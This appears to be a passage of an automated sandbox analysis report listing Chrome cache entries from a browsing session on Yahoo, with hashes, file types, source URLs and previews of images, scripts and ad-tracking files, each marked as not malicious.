Preview:	.PNG........IHDR...2...2......?.....KiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about=""/>. </rdf:RDF>.</x:xmpmeta>.<?xpacket end="r"?> I.:...}IDATh.._L[U..?-.C:]...%lns]..f.Ix....\R6c......,[4Y...o.,.D....23.6....&.1c. ..0W.HL.2...i..pn).{...s`.'........;....>dQ.<...{.G...7....?._.)`...fd.;l&..h.Z..-........U#V.y......V.W..\|......\......-.l..\|^....t..n..f..x.U..5.t.($.....!.d...]..!'..........L..ac..r%R.\|.4H4e....r....q!>.:...R..`.%..p@.#.<..i4`.H.....G'..g.2.m..kb....^.X.....k.........A....zi..WA....N....{.M...'\......g ... S....d.$.<J'....2..... .......w_...i.@{....U).]nN..J...e^..-.%...^.....r..~6.9..U.Zv.pg..c....x.x.....GdE.i1../SYR...5.v.9..!\|.\|Dg..$..+!@....u..Y.3Q..^.v[-.......GI.&.i1..7..1......K.!Jue.......Cve.p..O.

Chrome Cache Entry: 569

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 570

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	11104
Entropy (8bit):	7.769670594745127
Encrypted:	false
SSDEEP:	192:akguYNMtKwS+kdLiHWuWllzNWIuEVUGCw1Y95EVfQvA:akguYNg7S+ikWlHWXAxnoEVYvA
MD5:	B03AE248A80A965C222BF544E8CC24AB
SHA1:	C3EC8B1B36F16DE8302896AE7310531E769A00CB
SHA-256:	860FE7C1B11755FFB4E561141390AF85770793F3950E52EDC1858CD8E8BF2082
SHA-512:	A9310B33A2B766252C63D060A0F3DF6259D45E9A2BD9EF6152C961F666E993BF9397A12F7354A9136AAF51AB020E1B67E6B5DFBEDE5494CF4E4D08105E5C2580
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/P1gIuoNrk0jw9Gb0etat2w--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2023-07/d6d83ad0-1b76-11ee-b7dd-3fde6866fb5f.cf.webp
Preview:	RIFFX+..WEBPVP8X.... ...+.....ICCP........appl....mntrRGB XYZ .........:.8acspAPPL....APPL...........................-appl................................................desc...P...bdscm........cprt.......#wtpt........rXYZ........gXYZ........bXYZ........rTRC........aarg... ... vcgt...@...0ndin...p...>mmod.......(vcgp.......8bTRC........gTRC........aabg... ... aagg... ... desc........Display.................................................................................mluc.......&....hrHR........koKR........nbNO........id..........huHU........csCZ........daDK........nlNL........fiFI........itIT........esES........roRO........frCA........ar..........ukUA........heIL........zhTW........viVN........skSK........zhCN........ruRU........enGB........frFR........ms..........hiIN........thTH........caES........enAU........esXL........deDE........enUS........ptBR........plPL........elGR........svSE........trTR........ptPT........jaJP.........C.o.l.o.r. .L.C.D..text....Copyright Apple Inc., 2023

Chrome Cache Entry: 571

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x156, components 3
Category:	dropped
Size (bytes):	24164
Entropy (8bit):	7.967655951188618
Encrypted:	false
SSDEEP:	384:e00FJIVMMBdm3sWsa7bo8tlhrJno1rtvQIgZfj3YZYEzNTRws317iVk96RMO8:dmsWsv8g1rBQ7fQYOTeE2V3M/
MD5:	EB91C8B086EE87286994ACD9EC0FF5FC
SHA1:	A2C6A52742D1D8FB29ECDC5FC4D77A141738B0EA
SHA-256:	10CB62F35CC5D419FB95B0C678E2160B987CB2C89391E1CFEA34B8B451BE02D9
SHA-512:	0E968D38F33E5159E25F962E677C07BA9B55F4B17B9516E04442F32F6A1A49B6EDC84A8F7CF45BC57CEA97812C89CBBDD20C11F7F92871BE5A7C787B5B10B946
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................,............................................X.........................!.1.."A.Qa.2q..#B..Rb....$%&3cr.....45C...'6DESTesu...7dt....................................7........................!1....#3A"2B..$QRa.4Cq...5DSb............?.....!]#M]v.Q.....u.W...}^.../~..m..e.Qi.<e....$...z..b..}}S,.d........3..x..>.`..}a_..^.#..H."L.f.y.v.n....n..ti.$]5g....+}....P.-Eg...v$@/ou..z2k.%.!w.S....u...._$.q..sMR.....t._^A8...B..c.2.hi..-.!p..H.Y<.N.t..p3.....'....~(.u.B...GQ.=.D..ym.wt2...L.`I..... V....Q.nw..N.RX j.;t5..hM..z.tL.t....^.<..l...t..m5.M...{.C..N._-..#.n..+.......7{...1c..Y(...e........p.zr9..z.d...[..zK.+..l...I.....C..RAS.......<...8.).].v.K=.X..2.(..VR.....g.].]........=.9..%Ks.>mEe-.A]C$4.......X...x...3....O.....4..[....TN....h..d3.V..=#...O=/.K....GQ[.....1V.....cv..O';J.O9..-.*=Fw.

Chrome Cache Entry: 572

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	5.251629167387827
Encrypted:	false
SSDEEP:	3:YEOBHENpZAWo7Hexk4:YEOBy3SHexk4
MD5:	DD7C8D16FC7EE3F3F9C686C981DF21A9
SHA1:	44AF00B7A5195F9DAE34954FAFB1ED6619133334
SHA-256:	7325F9836A519464E5800AA567421A076EDF24A65EDB796A6871D9D3F81EE3EB
SHA-512:	98F5FE72655D4362C00B0737E70D197A99942852C925DC64A7DC945A41B2A7DF66B903C8D91645CA652FA3D665AA3F413AA80FA84D9E38ADB4180454C1A5C14F
Malicious:	false
Reputation:	low
Preview:	{"axid": "y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A"}

Chrome Cache Entry: 573

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 574

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11461)
Category:	downloaded
Size (bytes):	11893
Entropy (8bit):	5.198678335763684
Encrypted:	false
SSDEEP:	192:GO3pHufQPTACpF4Pvhzz6E/ra/sb4nZIPWfz3JBGvh3e1Q5l8h6LDeFTjC0:GdRCchzzYfnqejah3e1Q5l8h6vb0
MD5:	55D343A40C7166A79FD314F13CBB2E93
SHA1:	96904A849C32CA220E0AAA2AE3E81CF2B5CDF764
SHA-256:	A1F75D6278713A84A8F28A392C77CA8A6A7C32BF14314D4A34A6CE2F06CFDF7A
SHA-512:	518AC396E7F82899CAB4A6E3CB68116F2B599D680D015A1A8024926BC39E9A5D3ED68935B2150DA33AD41A9103E4CFD5031A7E89036901C972EEE257546BB1C5
Malicious:	false
Reputation:	low
URL:	https://kit.fontawesome.com/585b051251.js
Preview:	window.FontAwesomeKitConfig = {"id":132286382,"version":"5.15.4","token":"585b051251","method":"css","baseUrl":"https://ka-f.fontawesome.com","license":"free","asyncLoading":{"enabled":true},"autoA11y":{"enabled":true},"baseUrlKit":"https://kit.fontawesome.com","detectConflictsUntil":null,"iconUploads":{},"minify":{"enabled":true},"v4FontFaceShim":{"enabled":false},"v4shim":{"enabled":true},"v5FontFaceShim":{"enabled":false}};.!function(t){"function"==typeof define&&define.amd?define("kit-loader",t):t()}((function(){"use strict";function t(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);e&&(r=r.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,r)}return n}function e(e){for(var n=1;n<arguments.length;n++){var o=null!=arguments[n]?arguments[n]:{};n%2?t(Object(o),!0).forEach((function(t){r(e,t,o[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(o)):

Chrome Cache Entry: 575

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	120970
Entropy (8bit):	4.695804837443044
Encrypted:	false
SSDEEP:	3072:/6cOScFRZ6cEWLJyy5q+uh/7WEJjTRRsEkWWxv3mtBXIwI5hScFRZ6cEWLJyy5qN:/6clcLZ6cEWLJJ5qX/7WEJjTRRsEkWWM
MD5:	B464F2CDCD2AC880714159354ED6D366
SHA1:	CCEC81193954D8299591B420C6FD428C26C1873E
SHA-256:	88E65E6C067811F434DF26087946EC5AACD3EF1106C9AD970C59096E4535DB40
SHA-512:	FE5667454D612113FDD1C3BBE00C2A7A317A2EA37C17AB055D0C657E51B6BC64EDD3DC312F9484FE9730F4FBC08F3D0705948F4F8D473D70FB00C92DDA7E5215
Malicious:	false
Reputation:	low
Preview:	{"v":"5.12.2","fr":24,"ip":0,"op":240,"w":600,"h":1200,"nm":"CB1-Curi_300x600-2x","ddd":1,"assets":[{"id":"image_0","w":600,"h":1200,"u":"images/","p":"img_0.png","e":0},{"id":"image_1","w":1000,"h":800,"u":"images/","p":"img_1.jpg","e":0},{"id":"image_2","w":600,"h":1200,"u":"images/","p":"img_2.png","e":0},{"id":"comp_0","nm":"End Frame","fr":24,"layers":[{"ddd":0,"ind":1,"ty":4,"nm":"Transition 2","td":1,"sr":1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.058],"y":[1]},"o":{"x":[0.223],"y":[0]},"t":0,"s":[0]},{"t":9,"s":[100]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"s":true,"x":{"a":0,"k":300,"ix":3},"y":{"a":1,"k":[{"i":{"x":[0.353],"y":[1]},"o":{"x":[0.449],"y":[0]},"t":0,"s":[1364]},{"t":50,"s":[-572]}],"ix":4}},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0]],"v":[[300,600],[-300,600],[-300,-600],[300,-600]],"c":true},"i

Chrome Cache Entry: 576

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 2048x2048, components 3
Category:	downloaded
Size (bytes):	115000
Entropy (8bit):	7.707891058966984
Encrypted:	false
SSDEEP:	1536:eP0sOVs0Yw+PwzVkkPQopF7Q7l1kXBluVoFZCJ2jqC6fDAReNsYplzY50xE99kWR:ePRjwKekECl1kR2C6LAcNsEzi9mY
MD5:	00B88984A4D625E3B7C6DAD0D092A9C7
SHA1:	232623296010FDD57B29CFA7F4FE67A045A5D2AC
SHA-256:	09A0E58F1A08528792FE7D7E2A3FE551771B5F35FAB4541711E350922221B5D0
SHA-512:	F32986311A5B98E8C9DB8AECCCAA0A7088F62A8FCA66158864F7406E085B3811690693211DF6122E7112F5EC75B2F48BADA6CF3577198C25F0870728CFA13566
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/sadbundle/10005337952414769934/PRO_NEW_MY24%20Prologue%20Launch_NSEV_NOIN_ENG_300x250_WDCH_H5_NV_LNM_MULT/images/DISPLAY_HON_FMC_MY24_PROLOGUE_PRODUCT_LAUNCH_GENERAL_BRAND_BRD_LEARNMORE_HTML_DESKTOP_300x250_CAMPAIGN_atlas_NP_1.jpg?1704839638882
Preview:	......JFIF.............C......................"....)$+($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHE...C.......!..!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE...........".................................................................................!..V...i....ZX.c.^-0.Qv".2.;.....f...Z.0. E...\L.1f.b.$D.c.R-"P.h....W>....V&$....dIe.:.\2Lc.7........................................................................~].$H..U..&..^...DR.e..4.z.E"b..........-.....YJ...Z..d.l..%.[.Q..H.V..@.7.\..je.~.......................................................................v..S5.kFYk3sY.e....#(..ZS.2c......Q5!+...-.:.I.8.H.I..I...U..Y.E.TR.j.x....1.:.....g..~.......................................................................{.Ly-[..2Kz^...Y....Yr.5lV.^"....zUEM.2. .,....BsJ...k....lt...+x..-.HD.8..b.W..MD.....Vj...\|9...p...................................................................?/c.5j..f.l.U.`^lV/U..dEI.H.5.ij...&fZE...Yqd3.c:.H..<.le..\|.....)."'&)..&(.v ^kh.1j.[

Chrome Cache Entry: 577

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3572), with no line terminators
Category:	downloaded
Size (bytes):	3572
Entropy (8bit):	5.150542995862274
Encrypted:	false
SSDEEP:	96:RJYrcoiktfqqMghOKTEzNx8BSIMw591g8IOl8u8i8DF+Ks:wkktfqqMghxlg8Ig8u78D2
MD5:	88BC8C86A83B9BD8EDA6FDF225CDC8DD
SHA1:	473D84930F027A365278C15282725A69721F4B18
SHA-256:	47D960E93D9E7AB4C760A09DA0AA5E6549A8355AD5C0BA8476D4269F4FBDB354
SHA-512:	3BC486D908160D297AD3028C27177A9C41A1D87EF29A456058265FAF74A1DA069D3B0578F05A79F866C2DB752D5E0E42D179158BD62251D4FDA601A7CBA7CC4D
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.T5bVtXo12IQ.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTssrVR1lBtzoy_MObv1DSp-vWG36A"
Preview:	.gb_3e{background:rgba(60,64,67,.9);-webkit-border-radius:4px;border-radius:4px;color:#fff;font:500 12px "Roboto",arial,sans-serif;letter-spacing:.8px;line-height:16px;margin-top:4px;min-height:14px;padding:4px 8px;position:absolute;z-index:1000;-webkit-font-smoothing:antialiased}.gb_Hc{text-align:left}.gb_Hc>*{color:#bdc1c6;line-height:16px}.gb_Hc div:first-child{color:white}.gb_qa{background:none;border:1px solid transparent;-webkit-border-radius:50%;border-radius:50%;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;height:40px;margin:8px;outline:none;padding:1px;position:absolute;right:0;top:0;width:40px}.gb_qa:hover{background-color:rgba(68,71,70,.08)}.gb_qa:focus,.gb_qa:active{background-color:rgba(68,71,70,.12)}.gb_qa:focus-visible{border-color:#0b57d0;outline:1px solid transparent;outline-offset:-1px}.gb_i .gb_qa:hover,.gb_i .gb_qa:focus,.gb_i .gb_qa:active{background-color:rgba(227,227,227,.08)}.gb_i .gb_qa:focus-visible{border-color:#a8c7fa}.gb_ra{-webkit-box

Chrome Cache Entry: 578

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 720x408, components 3
Category:	dropped
Size (bytes):	132372
Entropy (8bit):	7.97233504538703
Encrypted:	false
SSDEEP:	3072:KcGaJBQCez+jcuKNE4BCBER+dOlsfldkeKmZ8imQ1d2Jd:HQRz+jPKN7BR4Olgd2mMQ+d
MD5:	B6810B019505F62C159BD0EB8461AA5C
SHA1:	F18AA290F5196C06DB4B079AA4DE5200154B5A11
SHA-256:	00028FCB13675C26F9140B4F4CCBC2F04CFCE19DD2FAC26A2F391AE43FC6D140
SHA-512:	3A287CD8E76468A13EBB5EE3A46D078506694C048ABF9DA60D7DC60C0118230E5F59ABEADB3DE458B390E991ED341469912598DC453729B7E561F6703FE24C3C
Malicious:	false
Reputation:	low
Preview:	......JFIF.............XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1........

Chrome Cache Entry: 579

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7977), with no line terminators
Category:	downloaded
Size (bytes):	7977
Entropy (8bit):	5.139495302416975
Encrypted:	false
SSDEEP:	192:3YwuuruQt21pxX3W9pOy1zraiGzTX2mD9v6KELqGG85rF04Av:3YDuqQo1pxsOyVra7zTGmBvEzrFhAv
MD5:	69D9917872FF1011BCB87D5044F6E12D
SHA1:	DB61157780300B24416F639DF9FB24C5A0829516
SHA-256:	F9F7F659C467019A4E8CA49A95810AFD7BAA0A791542C4041E0C0E828A86C18D
SHA-512:	1F0B45E4D82F4A1BBC1CBBF6461DC069AC724D7FF1919839732CC94735034A958A40865A53F013700A3D7C3657217A199A8F8DCDAEB07BF586C1531253FCF2DE
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-geolocation-1.3.0-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-geolocation",[],t):"object"==typeof exports?exports["wafer-geolocation"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-geolocation"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(o[r])return o[r].exports;var n=o[r]={i:r,l:!1,exports:{}};return e[r].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var o={};return t.m=e,t.c=o,t.d=function(e,o,r){t.o(e,o)\|\|Object.defineProperty(e,o,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var o=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(o,"a",o),o},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,o){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a

Chrome Cache Entry: 580

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5503), with no line terminators
Category:	downloaded
Size (bytes):	5503
Entropy (8bit):	5.376984635806113
Encrypted:	false
SSDEEP:	96:TeUg4KTMgKq8NGOzZZQujpcM8pmB9Q0C3MzDCprDVQ1nGXuX8Avva+b/70ApZV:6Ug4KTyNl/Qm3cy9SMHCpqp86a+joej
MD5:	19720D3A285ABA8024B11FC9955795FE
SHA1:	8E174FF6003772BC71FFAF2B655E23FC4B8794CA
SHA-256:	00A54A79B12A7E6DC344AE20DEA91F7772A088C14CF9B12D4DD8CEFF8B374C11
SHA-512:	B296C7311263B3B153353904B0D65131ED72F70F9A646795C07CE8DD3735329A6D6AAD99BD1C0F74742FC9E515D7CA1E78F44377EBBA55018331A986C93481A0
Malicious:	false
Reputation:	low
URL:	https://opus.analytics.yahoo.com/tag/opus-frame.html?referrer=https%3A%2F%2Fwww.yahoo.com%2F&tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2&axids=gam%3Dy-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A%26dv360%3DeS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B%26ydsp%3Dy-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A%26tbla%3Dy-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN&reset_idsync=1
Preview:	<!DOCTYPE html><html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width,initial-scale=1"><script defer="defer">(()=>{"use strict";var t=function(t){if(t)return t;try{return document.location.hostname.match(/[\w]+\.([\w]+\|co.uk)$/)[0]}catch(t){return""}};const e=function(e,n,r,o){(o\|\|window.document).cookie="".concat(e,"=").concat(n,";Max-Age=").concat(31536e3,";Domain=").concat(t(r),";path=/;Secure;SameSite=None")},n=function(t){return new URLSearchParams(document.location.search.slice(1)).get(t)\|\|""};var r,o=function(){var t=new Date("January 1, 2011 00:00:00 GMT").getTime()/1e3,e=(new Date).getTime()/1e3;return parseInt((e-t)/60/60,10)};!function(t){if(r&&!t)return r;var e=function(t){return parseInt(t,36)};r={};var n=function(t,e){for(var n="".concat(t,"="),r=(e\|\|window.document).cookie.split(";"),o=0;o<r.length;o++){var a=(r[o]\|\|"").trim();

Chrome Cache Entry: 581

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5657)
Category:	downloaded
Size (bytes):	6162
Entropy (8bit):	5.599076700545423
Encrypted:	false
SSDEEP:	192:Sb04pPhtmpvftu/PvJ/CMMKJ8UotoqzpfLEj:s0i5fPJ6FEPkIj
MD5:	6AAAF8E11A32FD37FB419E3A4CE9696C
SHA1:	1FD88F2EE4DE5422E0C344DEBEFE3F2B5ABB2592
SHA-256:	468959E93F9B4E6F07C6A8F8D0E93D8FCB37D76A8615A93EC153F5842247BA99
SHA-512:	748B27BDB7C7FA082D7BE6C69F56DC33302105784391320A5CF960531C594097BC406FD3F4690E4CF74F4016F4D56804A4296E9BD885562EB66699E1318F7000
Malicious:	false
Reputation:	low
URL:	https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8">. <title>SafeFrame Container</title>. <script>.(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var f=this\|\|self,h=function(a){return a};var n=function(a,b){this.h=a===l&&b\|\|"";this.g=m},p=function(a){return a instanceof n&&a.constructor===n&&a.g===m?a.h:"type_error:Const"},m={},l={};var r=void 0;/.. SPDX-License-Identifier: Apache-2.0./.var t,aa=function(){if(void 0===t){var a=null,b=f.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:h,createScript:h,createScriptURL:h})}catch(c){f.console&&f.console.error(c.message)}t=a}else t=a}return t};var ca=function(a){this.g=ba===ba?a:""};ca.prototype.toString=function(){return this.g+""};var ba={},da=function(a){var b=aa();a=b?b.createScriptURL(a):a;return new ca(a)};var ea={},u=function(a,b){this.g=b===ea?a:""};u.prototype.toString=function(){return this.g.toString()};var ha=function(){var a=v,b={messa

Chrome Cache Entry: 582

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (311), with no line terminators
Category:	downloaded
Size (bytes):	311
Entropy (8bit):	5.517473756819829
Encrypted:	false
SSDEEP:	6:jjxc0AQGo+65OClsU0ZcER7I+r1KYZpGUiCAelsU0ZcERK8UsDpn:jjxcDUQgi7x13mEi78kDp
MD5:	6F5071381F3D14F0DC1545E683655304
SHA1:	D76A911A940908F6E63B19DB6F70794A3FED0BAC
SHA-256:	EEC555FF1646C0D2BFA497A71860E847FB5CF64C1819529FDB74494CE823E8AA
SHA-512:	E2BEC0454984CB63DF0F618CF1895513BD40A64DA942E2B8EFC5E54B1D6C0B2802D8A771BA6F7F134E0EEAAFB06886AF0527A7E93B45283CB8217E373A8685CF
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=45889883&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncIframePixel('https://c1.adform.net/serving/cookie/match?party=14&cid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://idsync.rlcdn.com/420486.gif?partner_uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B');PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 583

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2146
Entropy (8bit):	4.423645601696178
Encrypted:	false
SSDEEP:	48:/ZG/ue3I/yNy/QO/wZo/K3y/VS/hKP/4S/9ClvNp/CaI26N:/AYbrHeywcH8HI1
MD5:	9FAF9F0AF03805FD10E24FD7A54CA611
SHA1:	08040307BA428BDE6AE12DA50273BA339F681AD6
SHA-256:	F26B4A53465EBC250CF44D422A38CBE2D812476AEA4E9215485C16B888273EE8
SHA-512:	FF7FA984E9B3C6397D0C258ADC6AD74229B7E72C80E25230220A197941F1B90E517C11145DACB3FEB0B89B3A49BDBE74EE7190DC7B123458A323693B8F5E267F
Malicious:	false
Reputation:	low
URL:	https://www.yahoo.com/manifest_desktop_us.json
Preview:	{. "background_color": "#ffffff",. "display": "standalone",. "gcm_user_visible_only": true,. "icons": [. {. "sizes": "48x48",. "src": "https://s.yimg.com/cv/apiv2/09062018/manifest/yahoo_install_48.png",. "type": "image/png". },. {. "sizes": "72x72",. "src": "https://s.yimg.com/cv/apiv2/09062018/manifest/yahoo_install_72.png",. "type": "image/png". },. {. "sizes": "96x96",. "src": "https://s.yimg.com/cv/apiv2/09062018/manifest/yahoo_install_96.png",. "type": "image/png". },. {. "sizes": "128x128",. "src": "https://s.yimg.com/cv/apiv2/09062018/manifest/yahoo_install_128.png",. "type": "image/png". },. {. "sizes": "144x144",. "src": "https://s.yimg.com/cv/apiv2/09062018/manifest/yahoo_install_144.png",. "type": "image/png". },. {.

Chrome Cache Entry: 584

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65354)
Category:	dropped
Size (bytes):	98590
Entropy (8bit):	5.262081609860911
Encrypted:	false
SSDEEP:	1536:l6uJO46KoxxmzxgwyPtXjgypu5DUWCsHEGh363pz1ndumnf:KrxhPSyp0R63pR7
MD5:	93C71F7FAF9DCA7767823C99109C81D3
SHA1:	01E7B25914D48BB4DD3CD2E6F60CFCD99CAA10EF
SHA-256:	66776998B10E583A72F8FD29391A50E2C80EB3BC9A65B0DAFE97E576D7D88507
SHA-512:	3E02E2F714D1FB066FFD376FACFD936E75D01D6862D4F7FC353B1D0E725FE3294BBAAE85268DB46541AC7B55D44AC8721A685113FA0D8FD617B323D6DE768B7A
Malicious:	false
Reputation:	low
Preview:	// Hash: ioxxdjHDzFBt50jsKHcULoEjfPjn7FupHUObUXTEulH1iImcaT1OYYq4nXedv+v6ystL/mciw43eN2N1sBqukEcB1G3yLaozwAQoZarIvpe+op2I8dDWCrnmQL5aA3TRFA2hIGMEsGDPdljIfZlxPKB5Tt8rZMkwd8T+7UEJODk=.!function(e){"use strict";var n=function(e,t){return(n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var i in t)t.hasOwnProperty(i)&&(e[i]=t[i])})(e,t)};function t(e,t){function i(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}var L=function(){return(L=Object.assign\|\|function(e){for(var t,i=1,n=arguments.length;i<n;i++)for(var r in t=arguments[i])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function i(e,t){var i={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&t.indexOf(n)<0&&(i[n]=e[n]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var r=0;for(n=Object.getOwnPropertySymbols(e);r<n.length;r++)t.indexOf(n[r])<0&&Object.prototype.pro

Chrome Cache Entry: 585

Download File

